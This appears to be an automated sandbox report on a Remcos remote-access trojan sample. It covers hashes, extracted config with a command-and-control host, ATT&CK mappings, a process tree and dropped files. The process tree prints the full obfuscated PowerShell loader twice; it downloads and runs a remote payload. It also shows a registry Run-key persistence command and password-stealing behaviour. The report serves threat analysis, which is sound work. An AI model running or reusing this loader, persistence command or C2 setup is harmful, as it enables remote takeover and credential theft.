remcos | 9493ad437ea4b55629ee0a8d18141977c2632de42349a995730112727549f40e

Analysis

max time kernel
149s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18/10/2024, 10:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SKM_0001810-01-2024-GL-3762.bat
Size

5KB
MD5

94cfdc6035491e5b2be50fc7d7071ec1
SHA1

03a744cccaedb09ff1e1e4acf704a8d82b01d2ad
SHA256

9493ad437ea4b55629ee0a8d18141977c2632de42349a995730112727549f40e
SHA512

415d81ad761c3a507abc5ca15e56c3442b403bc4172d0215e13de6b5f7b13c30f76d7d3f35038ebd5c81d889b601e57d450467291b38f448f97988d45ca1ed64
SSDEEP

96:ZZ+/7UZr6BBrGhhQYs0QXw6Kd/zov4doU9NvMVcl/796JbwuRVrn8nrEH8yyk:ZZ+DOkChhQYsyltzaCN4cwRVrn8nrG1

Score

10^/10

remcos nbuild collection discovery execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

Nbuild

renajazinw.duckdns.org:53848

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
Windeep.exe
copy_folder
AppDir
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-JTPTLW
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/2692-81-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3460-75-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/856-76-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/856-76-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3460-75-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 8 IoCs

flow	pid	Process
8	916	powershell.exe
9	916	powershell.exe
46	1248	msiexec.exe
47	1248	msiexec.exe
48	1248	msiexec.exe
50	1248	msiexec.exe
51	1248	msiexec.exe
53	1248	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
916	powershell.exe
2824	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Consanguineous% -windowstyle 1 $Aboriginal=(gp -Path 'HKCU:\\Software\\involving\\').Elgkos;%Consanguineous% ($Aboriginal)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1248	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2824	powershell.exe
1248	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1248 set thread context of 3460	1248	msiexec.exe	112
PID 1248 set thread context of 856	1248	msiexec.exe	113
PID 1248 set thread context of 2692	1248	msiexec.exe	114

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1676	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
916	powershell.exe
916	powershell.exe
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe
3460	msiexec.exe
3460	msiexec.exe
2692	msiexec.exe
2692	msiexec.exe
3460	msiexec.exe
3460	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2824	powershell.exe
1248	msiexec.exe
1248	msiexec.exe
1248	msiexec.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	916	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	2692	msiexec.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1248	msiexec.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2828 wrote to memory of 916	2828	cmd.exe	85
PID 2828 wrote to memory of 916	2828	cmd.exe	85
PID 2824 wrote to memory of 1248	2824	powershell.exe	103
PID 2824 wrote to memory of 1248	2824	powershell.exe	103
PID 2824 wrote to memory of 1248	2824	powershell.exe	103
PID 2824 wrote to memory of 1248	2824	powershell.exe	103
PID 1248 wrote to memory of 2800	1248	msiexec.exe	108
PID 1248 wrote to memory of 2800	1248	msiexec.exe	108
PID 1248 wrote to memory of 2800	1248	msiexec.exe	108
PID 2800 wrote to memory of 1676	2800	cmd.exe	111
PID 2800 wrote to memory of 1676	2800	cmd.exe	111
PID 2800 wrote to memory of 1676	2800	cmd.exe	111
PID 1248 wrote to memory of 3460	1248	msiexec.exe	112
PID 1248 wrote to memory of 3460	1248	msiexec.exe	112
PID 1248 wrote to memory of 3460	1248	msiexec.exe	112
PID 1248 wrote to memory of 3460	1248	msiexec.exe	112
PID 1248 wrote to memory of 856	1248	msiexec.exe	113
PID 1248 wrote to memory of 856	1248	msiexec.exe	113
PID 1248 wrote to memory of 856	1248	msiexec.exe	113
PID 1248 wrote to memory of 856	1248	msiexec.exe	113
PID 1248 wrote to memory of 2692	1248	msiexec.exe	114
PID 1248 wrote to memory of 2692	1248	msiexec.exe	114
PID 1248 wrote to memory of 2692	1248	msiexec.exe	114
PID 1248 wrote to memory of 2692	1248	msiexec.exe	114

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SKM_0001810-01-2024-GL-3762.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden " <#Enfect Tictoc Hellebardistens Skovrankernes Redoblingers Soloth #>;$Rawboned31='Observationsklasser';<#Calvinistically Brunstiges Matroser Researched #>;$Anisometropic=$Booed+$host.UI; function Overfallen($Subantarctic161){If ($Anisometropic) {$Fredningerne++;}$Ponceau=$Lsevrdiges+$Subantarctic161.'Length'-$Fredningerne; for( $Unsullenly=4;$Unsullenly -lt $Ponceau;$Unsullenly+=5){$Prikkendes=$Unsullenly;$Cembalister+=$Subantarctic161[$Unsullenly];$Overproductive='Mglernes';}$Cembalister;}function Indsigelser($bullaces){ & ($Klassikernes130) ($bullaces);}$Resistante=Overfallen ' upeMRdstoHalvz teriAntelja el Un aDogw/Forl ';$Resistante+=Overfallen ' ajs5N.en. eng0 or Step(B,nnWChiriDystnB dedFy koIntewRuf sSkol UninNT mbT unk Chap1Vern0None..yto0Kolo;Kleh LibrWRi.gi rugn D e6Ove 4Dyve;Over ,agdx opf6Lage4klas;Forf SkelrScorvDrif:Vate1Lith3Orga1Bogs.Ber 0Unla)Agle UnliGSynkeVurdcL rekHel oPles/Dane2Form0 Che1Ramb0P on0ublu1B.ll0 Udl1Top. VareFS peiSnasrKuldeIntefMalpoDrifxgr b/Best1.ana3 utw1.igt. Len0Ro,a ';$mbori=Overfallen 'ForsUTeleSPon,e IbiRCom,-unamAsk lGOps ECrypNTeleTYder ';$Thirdendeal=Overfallen 'BarrhSonatD.stt Othptr n:Chew/Mine/Wifea,tacrTrsktStati SkoeOverrTelti,rne.Mexir,agnoRecr/ ShalDos /Cap SUdd q NonuHy,riRagnr Raat.emiiRefos,okkhFrem. dstBomboD.edcinor ';$Chromophotographic=Overfallen 'soli> Kur ';$Klassikernes130=Overfallen 'Je eI F,leRepaXF nc ';$Adddbr='Malleal';$earlships='\Categorizes.Afg';Indsigelser (Overfallen 'Syzy$Ins,GMisaLDemoo vibBib a Seal Uti:CinnEKse NLag gEnjeR TroODataS llepI teROttoiinglSW.ekeF.amrGermnAbseeKory=Bes $ UdbEAp knKarrvAmar:F yvamanvP etypPat.DTrskAG,netHnenAFel,+Aaer$ Hiseko oA IngR stel PogSTou.hRe,uiFolkPPareSPrea ');Indsigelser (Overfallen ',rei$TwosgQua L errO SpeBdynaAK.ntLRdse:RefriSpe NUn eDTom oH,pemUnmiAElidbDehyl TaxeTeks=Nrin$Va ut LydH CouI OveRConnd Atoe U.sNEksiD ,rbeMania En LDilu.t.orSWavepK ntl leriFrihTDieb( oly$JordcTelehMd drbulloCaroMS eaOGru.P ceahOss OFacetSutuOPsykgClayrD riaH phpT chH EriI HolCGg,e)Ilds ');Indsigelser (Overfallen 'Hemo[B tyN lokEEf.eT Vra. T ssSixtEGeo.r FerVAnaliSv mc o,qe lorpSporoEndai OmbNTheutFilmMCustaAl,oN CroA YelGSkvaE edgr.lbn] Um.: rom: IniSC tre ndeCAffeuTongRTremIOp kt SelY .laP DisR Ge.OKlosTIn io EntCLmleo ell Den Grak= uni Toch[Uph,NCra E HypTSk.l.O,lgsLentE linC SlaUInsuRColoIEn.rtHavvYForsPVelfRDonno airtStikOMicrC.aneORotalSnuftUlvsYTilgpForteWea.]Mois:Le t: ,retBraiLDecrSSeku1Hept2 Mir ');$Thirdendeal=$Indomable[0];$Marinarkologer=(Overfallen 'Stup$ MorgBesklIns OTronb MatAVildL kke:PaasDSpecEInspsTil,EAmphNhockS SkrIMantTOpgrI SteZM rsABildT.apiiEp cOUr,enBedvSA pr=,ambnSproeSemiwKluk-U.deOvi abSoupJPhonESur cBallT oly Fde SR efYVandsSkdstGoutekollM Hie.Tre nT,rmETaubTBro .mo tWpr,pEFagmB Ha,cOverL polihydreBridn rrTAnes ');Indsigelser ($Marinarkologer);Indsigelser (Overfallen 'Tili$OmdeDunpreKhazs Gese innBrygsVaabi NsttNon i Ov.zResmaOr,itbu liblanoRappn.rsgsR.ad.horrH SoleHybea AnsdepileNor rZerssSkun[ Enr$No dm TzebJamio ,asrc cai Vin]kont=pe s$ EncR ForeNutrsTot,i.relsSeretSvi.asubtn SpatFr aeOu,s ');$Makkerens=Overfallen 'Mir $CockD frdeO ses Me e Baln mans SkriIntetHereiNatizUncoaGau,t Endii,osofro nuntes Odi.RounDSad,oSidsw LunnGalcl.radoaktiacynodApprF aboiD.fflAutoeSibs(Agra$AfseTPremh TidiHemirNa udkbere usinTurrdSchoeim.oa n.sl Van,Re,y$CoroN FjeoPhrenHerauAft sByp eIantrThorsWeat)Nedr ';$Nonusers=$Engrospriserne;Indsigelser (Overfallen 'Reel$ irtg agalArbeoT rtbCas A,kspLIndd:Graet avnRL,baeframsKnneiSem D AsteSmmeD,aanEjudaS Hy,=Dist(NachTImpuEFa ts,bbatThob-LaryPsoc,A HintPro HHnge Unsu$pastnOpnao AwnN ltrUAlkaSRaptETarmr WassMarm) Tox ');while (!$Tresidedes) {Indsigelser (Overfallen 'Nskv$sammgIn ilCr,moBeatbLadea ChulSimu:WinnSQuilaTronmAffalEpiteHirtmFe,saFll p S lpTesteTrain,kaa=L,kt$KimotBrysrF niu Re eS cs ') ;Indsigelser $Makkerens;Indsigelser (Overfallen 'Fo mS.ybetAc,daAm.iRRapptBrea-Puncs rolL uze StaEP orPShod Revi4Info ');Indsigelser (Overfallen 'le c$Ko eGMisel T.oOSinoBNomaAM ssL Eks:Die.t EgerflagEPhossA,rai Pr dTwisEWooddCirceE,ges Jun=Udes(S ustTheceApodsSkretMel -MisbPKongaViseTVintH Lsk Nonp$Tnknn belo.ancNAll USkabSMarieSpitr DucSdonk)de.l ') ;Indsigelser (Overfallen ' ee$ AntGObsel of.o SmebTerma ellPrei: ilsU O,sNSemiSProdyGarnSGigmTRekoE JewM CouaV kstPlaiiEx,esTi biSultNrebsgDi csRs,n=Valg$F.ung CulL,hreoCol bUi,dAArbeL N s: TeaUAktiN TessPolyURingCSammc Sp eWowsESemidWongi VinnRhinGPeev+Lyri+Ele,%D oz$PaleI FornUdglDS.gtOFemtmBlaaaEsteBRestl Kome Cri.RoofcMilioPsycUIndlngernT Hi ') ;$Thirdendeal=$Indomable[$unsystematisings];}$Brasilete=297855;$Dunkelt=31467;Indsigelser (Overfallen 'F ra$A ilg ReolRe.eoSupeb ForaS,ucLSt.f: rbeaContBWorkjMediE.humC Na TKupp Kne= T.l DatgNo me.aisTGlis-ForscDkk,OVldiN Selt L mESmlenHoffT Sti Eund$Angun atoUsocN UdvUpa kSIn uE InyRSy aS fte ');Indsigelser (Overfallen ' Ant$TilbgD khl ApooForsbHalfaSexclProt:WeenAT enr.aedaAchlc SpehS penVogeiogeed veta LasnEdri Dags= t.t Subl[ elS IntyDrivsb.zotRelae intmSk t. oadCBabuoScolnHa ivConce JenrLimft abs]We p:,ole:vandFKon rSynpoSealm WheBJag aSgetsBrugeKost6Macu4 UndS ingtU.akrGalai InfnGenog.eds(Gale$RendaBolibConvjLoope BjlcCalot Ko )Wewe ');Indsigelser (Overfallen ' mpl$ TubGS.igLUdnvOKongBIndiA .ntLP,os:Ov.rNTeleMe anTRece Glio= Can mov[CornS angYH.posOmbytUrocErimemUnsw.ArtiTBr.mE M.sxBronT nn.Pante inNKnogC Chao CoaD UnbIAlmuNLio g Reg] Ude: .ar:MickA FraSInteCM goideniIdive.Bespggrone FortVollSLaagtbr wrLo dIKe inEspeGKapi(opkl$BisiAUdtrRSupeA Be,cSudaHBlasNLuetis.ordN ncaAn.eN Rat)Vava ');Indsigelser (Overfallen 'Spha$Bes GUnralLanaObataBVandA DecLEnkr:.oneTNordUE,ipiTalr=Kare$EumiN.quaMresptVoca. Ga.SOmsmUSup.BHollS ,roTSamfRKla,iZealNStadg Mar(syge$ WalB Gr,ReuroAA.tiS toiBi eLem.oeSlyptBiltETrma, For$ irkDblgeUAfp.nCu tkSpriERumllYtretBade)Anno ');Indsigelser $Tui;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:916

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Enfect Tictoc Hellebardistens Skovrankernes Redoblingers Soloth #>;$Rawboned31='Observationsklasser';<#Calvinistically Brunstiges Matroser Researched #>;$Anisometropic=$Booed+$host.UI; function Overfallen($Subantarctic161){If ($Anisometropic) {$Fredningerne++;}$Ponceau=$Lsevrdiges+$Subantarctic161.'Length'-$Fredningerne; for( $Unsullenly=4;$Unsullenly -lt $Ponceau;$Unsullenly+=5){$Prikkendes=$Unsullenly;$Cembalister+=$Subantarctic161[$Unsullenly];$Overproductive='Mglernes';}$Cembalister;}function Indsigelser($bullaces){ & ($Klassikernes130) ($bullaces);}$Resistante=Overfallen ' upeMRdstoHalvz teriAntelja el Un aDogw/Forl ';$Resistante+=Overfallen ' ajs5N.en. eng0 or Step(B,nnWChiriDystnB dedFy koIntewRuf sSkol UninNT mbT unk Chap1Vern0None..yto0Kolo;Kleh LibrWRi.gi rugn D e6Ove 4Dyve;Over ,agdx opf6Lage4klas;Forf SkelrScorvDrif:Vate1Lith3Orga1Bogs.Ber 0Unla)Agle UnliGSynkeVurdcL rekHel oPles/Dane2Form0 Che1Ramb0P on0ublu1B.ll0 Udl1Top. VareFS peiSnasrKuldeIntefMalpoDrifxgr b/Best1.ana3 utw1.igt. Len0Ro,a ';$mbori=Overfallen 'ForsUTeleSPon,e IbiRCom,-unamAsk lGOps ECrypNTeleTYder ';$Thirdendeal=Overfallen 'BarrhSonatD.stt Othptr n:Chew/Mine/Wifea,tacrTrsktStati SkoeOverrTelti,rne.Mexir,agnoRecr/ ShalDos /Cap SUdd q NonuHy,riRagnr Raat.emiiRefos,okkhFrem. dstBomboD.edcinor ';$Chromophotographic=Overfallen 'soli> Kur ';$Klassikernes130=Overfallen 'Je eI F,leRepaXF nc ';$Adddbr='Malleal';$earlships='\Categorizes.Afg';Indsigelser (Overfallen 'Syzy$Ins,GMisaLDemoo vibBib a Seal Uti:CinnEKse NLag gEnjeR TroODataS llepI teROttoiinglSW.ekeF.amrGermnAbseeKory=Bes $ UdbEAp knKarrvAmar:F yvamanvP etypPat.DTrskAG,netHnenAFel,+Aaer$ Hiseko oA IngR stel PogSTou.hRe,uiFolkPPareSPrea ');Indsigelser (Overfallen ',rei$TwosgQua L errO SpeBdynaAK.ntLRdse:RefriSpe NUn eDTom oH,pemUnmiAElidbDehyl TaxeTeks=Nrin$Va ut LydH CouI OveRConnd Atoe U.sNEksiD ,rbeMania En LDilu.t.orSWavepK ntl leriFrihTDieb( oly$JordcTelehMd drbulloCaroMS eaOGru.P ceahOss OFacetSutuOPsykgClayrD riaH phpT chH EriI HolCGg,e)Ilds ');Indsigelser (Overfallen 'Hemo[B tyN lokEEf.eT Vra. T ssSixtEGeo.r FerVAnaliSv mc o,qe lorpSporoEndai OmbNTheutFilmMCustaAl,oN CroA YelGSkvaE edgr.lbn] Um.: rom: IniSC tre ndeCAffeuTongRTremIOp kt SelY .laP DisR Ge.OKlosTIn io EntCLmleo ell Den Grak= uni Toch[Uph,NCra E HypTSk.l.O,lgsLentE linC SlaUInsuRColoIEn.rtHavvYForsPVelfRDonno airtStikOMicrC.aneORotalSnuftUlvsYTilgpForteWea.]Mois:Le t: ,retBraiLDecrSSeku1Hept2 Mir ');$Thirdendeal=$Indomable[0];$Marinarkologer=(Overfallen 'Stup$ MorgBesklIns OTronb MatAVildL kke:PaasDSpecEInspsTil,EAmphNhockS SkrIMantTOpgrI SteZM rsABildT.apiiEp cOUr,enBedvSA pr=,ambnSproeSemiwKluk-U.deOvi abSoupJPhonESur cBallT oly Fde SR efYVandsSkdstGoutekollM Hie.Tre nT,rmETaubTBro .mo tWpr,pEFagmB Ha,cOverL polihydreBridn rrTAnes ');Indsigelser ($Marinarkologer);Indsigelser (Overfallen 'Tili$OmdeDunpreKhazs Gese innBrygsVaabi NsttNon i Ov.zResmaOr,itbu liblanoRappn.rsgsR.ad.horrH SoleHybea AnsdepileNor rZerssSkun[ Enr$No dm TzebJamio ,asrc cai Vin]kont=pe s$ EncR ForeNutrsTot,i.relsSeretSvi.asubtn SpatFr aeOu,s ');$Makkerens=Overfallen 'Mir $CockD frdeO ses Me e Baln mans SkriIntetHereiNatizUncoaGau,t Endii,osofro nuntes Odi.RounDSad,oSidsw LunnGalcl.radoaktiacynodApprF aboiD.fflAutoeSibs(Agra$AfseTPremh TidiHemirNa udkbere usinTurrdSchoeim.oa n.sl Van,Re,y$CoroN FjeoPhrenHerauAft sByp eIantrThorsWeat)Nedr ';$Nonusers=$Engrospriserne;Indsigelser (Overfallen 'Reel$ irtg agalArbeoT rtbCas A,kspLIndd:Graet avnRL,baeframsKnneiSem D AsteSmmeD,aanEjudaS Hy,=Dist(NachTImpuEFa ts,bbatThob-LaryPsoc,A HintPro HHnge Unsu$pastnOpnao AwnN ltrUAlkaSRaptETarmr WassMarm) Tox ');while (!$Tresidedes) {Indsigelser (Overfallen 'Nskv$sammgIn ilCr,moBeatbLadea ChulSimu:WinnSQuilaTronmAffalEpiteHirtmFe,saFll p S lpTesteTrain,kaa=L,kt$KimotBrysrF niu Re eS cs ') ;Indsigelser $Makkerens;Indsigelser (Overfallen 'Fo mS.ybetAc,daAm.iRRapptBrea-Puncs rolL uze StaEP orPShod Revi4Info ');Indsigelser (Overfallen 'le c$Ko eGMisel T.oOSinoBNomaAM ssL Eks:Die.t EgerflagEPhossA,rai Pr dTwisEWooddCirceE,ges Jun=Udes(S ustTheceApodsSkretMel -MisbPKongaViseTVintH Lsk Nonp$Tnknn belo.ancNAll USkabSMarieSpitr DucSdonk)de.l ') ;Indsigelser (Overfallen ' ee$ AntGObsel of.o SmebTerma ellPrei: ilsU O,sNSemiSProdyGarnSGigmTRekoE JewM CouaV kstPlaiiEx,esTi biSultNrebsgDi csRs,n=Valg$F.ung CulL,hreoCol bUi,dAArbeL N s: TeaUAktiN TessPolyURingCSammc Sp eWowsESemidWongi VinnRhinGPeev+Lyri+Ele,%D oz$PaleI FornUdglDS.gtOFemtmBlaaaEsteBRestl Kome Cri.RoofcMilioPsycUIndlngernT Hi ') ;$Thirdendeal=$Indomable[$unsystematisings];}$Brasilete=297855;$Dunkelt=31467;Indsigelser (Overfallen 'F ra$A ilg ReolRe.eoSupeb ForaS,ucLSt.f: rbeaContBWorkjMediE.humC Na TKupp Kne= T.l DatgNo me.aisTGlis-ForscDkk,OVldiN Selt L mESmlenHoffT Sti Eund$Angun atoUsocN UdvUpa kSIn uE InyRSy aS fte ');Indsigelser (Overfallen ' Ant$TilbgD khl ApooForsbHalfaSexclProt:WeenAT enr.aedaAchlc SpehS penVogeiogeed veta LasnEdri Dags= t.t Subl[ elS IntyDrivsb.zotRelae intmSk t. oadCBabuoScolnHa ivConce JenrLimft abs]We p:,ole:vandFKon rSynpoSealm WheBJag aSgetsBrugeKost6Macu4 UndS ingtU.akrGalai InfnGenog.eds(Gale$RendaBolibConvjLoope BjlcCalot Ko )Wewe ');Indsigelser (Overfallen ' mpl$ TubGS.igLUdnvOKongBIndiA .ntLP,os:Ov.rNTeleMe anTRece Glio= Can mov[CornS angYH.posOmbytUrocErimemUnsw.ArtiTBr.mE M.sxBronT nn.Pante inNKnogC Chao CoaD UnbIAlmuNLio g Reg] Ude: .ar:MickA FraSInteCM goideniIdive.Bespggrone FortVollSLaagtbr wrLo dIKe inEspeGKapi(opkl$BisiAUdtrRSupeA Be,cSudaHBlasNLuetis.ordN ncaAn.eN Rat)Vava ');Indsigelser (Overfallen 'Spha$Bes GUnralLanaObataBVandA DecLEnkr:.oneTNordUE,ipiTalr=Kare$EumiN.quaMresptVoca. Ga.SOmsmUSup.BHollS ,roTSamfRKla,iZealNStadg Mar(syge$ WalB Gr,ReuroAA.tiS toiBi eLem.oeSlyptBiltETrma, For$ irkDblgeUAfp.nCu tkSpriERumllYtretBade)Anno ');Indsigelser $Tui;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2824
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1248
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Consanguineous% -windowstyle 1 $Aboriginal=(gp -Path 'HKCU:\Software\involving\').Elgkos;%Consanguineous% ($Aboriginal)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2800
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Consanguineous% -windowstyle 1 $Aboriginal=(gp -Path 'HKCU:\Software\involving\').Elgkos;%Consanguineous% ($Aboriginal)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:1676
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ynivadvkuhrluudw"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3460
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ahngbvgliqjqeizanzsc"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:856
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ljazbozfeybdhonewjewhpz"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
d6e28757e2ea5fcc48a317ae93ef57ed

SHA1
bb7c920d0e07090136257334be56c9eced37f238

SHA256
2d80e8c25f04b367ffc17a87d7374f8f8379e1f46382aa373daea87c9abd7f5b

SHA512
2f2c9a023915e24057f25e86a360059bfee7ed60a513749103e8479fff25abd4524d8866e49d47fd885fca8237241c2762c4e5d28cd8c552aee4589cdf56b0e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2d74f3420d97c3324b6032942f3a9fa7

SHA1
95af9f165ffc370c5d654a39d959a8c4231122b9

SHA256
8937b96201864340f7fae727ff0339d0da2ad23c822774ff8ff25afa2ae4da3d

SHA512
3c3d2ae3b2581ff32cfee2aedca706e4eaa111a1f9baeb9f022762f7ef2dfb6734938c39eb17974873ad01a4760889e81a7b45d7ed404eb5830f73eb23737f1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jn5vwnwr.e4y.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ynivadvkuhrluudw

Filesize
4KB

MD5
ac300aeaf27709e2067788fdd4624843

SHA1
e98edd4615d35de96e30f1a0e13c05b42ee7eb7b

SHA256
d2637d58bb120dc6fefe2f38d6e0d4b308006b8639106a7f9e915fa80b5cc9d9

SHA512
09c46e708f9d253dccd4d943639d9f8126f868ae3dcd951aad12222bb98b5d3814676f878c8391b9bdab5dedcf5b9e9eaeb2ad3ffec57bda875198735586d4df

Download Submit
C:\Users\Admin\AppData\Roaming\Categorizes.Afg

Filesize
428KB

MD5
38081e40a46660b7de30d975957c94cf

SHA1
49e8ed5301eee63705bb929c274f60fe442f49d4

SHA256
911b33ae3e2587724dca9fd476bd066fb19d617b759628c0c222905e3e8307ef

SHA512
469db4b9cd649482a130593b578e5faf053ce9885425245d1d775abb3e32d1ff9c879598250719a88a04cb4dc15f7b444986164d123b3942563398b15bfb9b86

Download Submit
memory/856-74-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/856-76-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/856-69-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/916-13-0x00007FFA03C40000-0x00007FFA04701000-memory.dmp

Filesize
10.8MB

Download
memory/916-20-0x00007FFA03C40000-0x00007FFA04701000-memory.dmp

Filesize
10.8MB

Download
memory/916-17-0x00007FFA03C40000-0x00007FFA04701000-memory.dmp

Filesize
10.8MB

Download
memory/916-14-0x00007FFA03C40000-0x00007FFA04701000-memory.dmp

Filesize
10.8MB

Download
memory/916-2-0x00007FFA03C43000-0x00007FFA03C45000-memory.dmp

Filesize
8KB

Download
